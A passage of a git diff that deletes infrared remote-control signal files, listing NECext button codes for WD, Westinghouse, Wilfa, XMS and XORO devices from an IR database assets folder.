00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 88 00 00 00 -# -name: Slow/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 89 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8D 00 00 00 -# -name: Digest -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 91 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 92 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 94 00 00 00 -# -name: SkipBackwards -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 95 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 97 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C0 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C1 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C2 00 00 00 -# -name: X_KEY_3D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C3 00 00 00 -# -name: AudioMenu -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C4 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C5 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C6 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C7 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C8 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C9 00 00 00 -# -name: SkipForwards -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CA 00 00 00 -# -name: Slow/F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CB 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CD 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CE 00 00 00 -# -name: AudioMode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CF 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D0 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D1 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D3 00 00 00 -# -name: Repeat/A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D4 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D5 00 00 00 -# -name: Bookmark -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D6 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir deleted file mode 100644 index b22dbee9b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 00 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 01 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 04 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 05 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 07 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 08 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 09 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 0A 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 12 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir deleted file mode 100644 index 85053851e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 00 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 01 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 04 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 05 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 08 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 09 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 0A 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCLOSECD -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 12 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1A 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 84 79 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir deleted file mode 100644 index f61562a7d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: YPbPr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: S-Video -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir deleted file mode 100644 index 77bcc8bc2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_DOT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: EnterNumPad -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: Backlight -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: Retry -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: YPbPr1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: YPbPr2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: SVideo -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: Swap -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: EnterNavigation -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6A 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6B 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir deleted file mode 100644 index 85592a781..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 01 00 00 00 -# -name: spiral -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 02 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 03 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 05 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 06 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 0E 00 00 00 -# -name: vac -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir deleted file mode 100644 index fac2d5756..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: Balance_Right -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: Coax2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: Mono -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: Night -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: Surround_Mode -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: Balance_Left -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: Test -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: RDS_Display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_1CH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: RDS_Title -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: Surr+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: Optical -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: Coax1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 45 00 00 00 -# -name: Tuning+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 46 00 00 00 -# -name: Preset -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: Cen- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: SW- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4A 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4B 00 00 00 -# -name: Tone_Delay_Fine_Control -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: Function+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: Cen+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4F 00 00 00 -# -name: Tuning- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: Surr- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 56 00 00 00 -# -name: Function- -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 57 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 -# -name: VCD/TV -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5E 00 00 00 -# -name: SW+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir deleted file mode 100644 index 183d91870..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 00 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 04 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 05 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 06 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 07 00 00 00 -# -name: I<< -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 08 00 00 00 -# -name: >>I -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0B 00 00 00 -# -name: 99 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0C 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0D 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 10 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 11 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 12 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 14 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 16 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 17 00 00 00 -# -name: LANG -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 19 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 40 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 42 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 45 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 46 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 48 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4C 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 50 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 52 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 54 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 56 00 00 00 -# -name: SUB-T -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 58 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir deleted file mode 100644 index ff3655fe1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: game -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 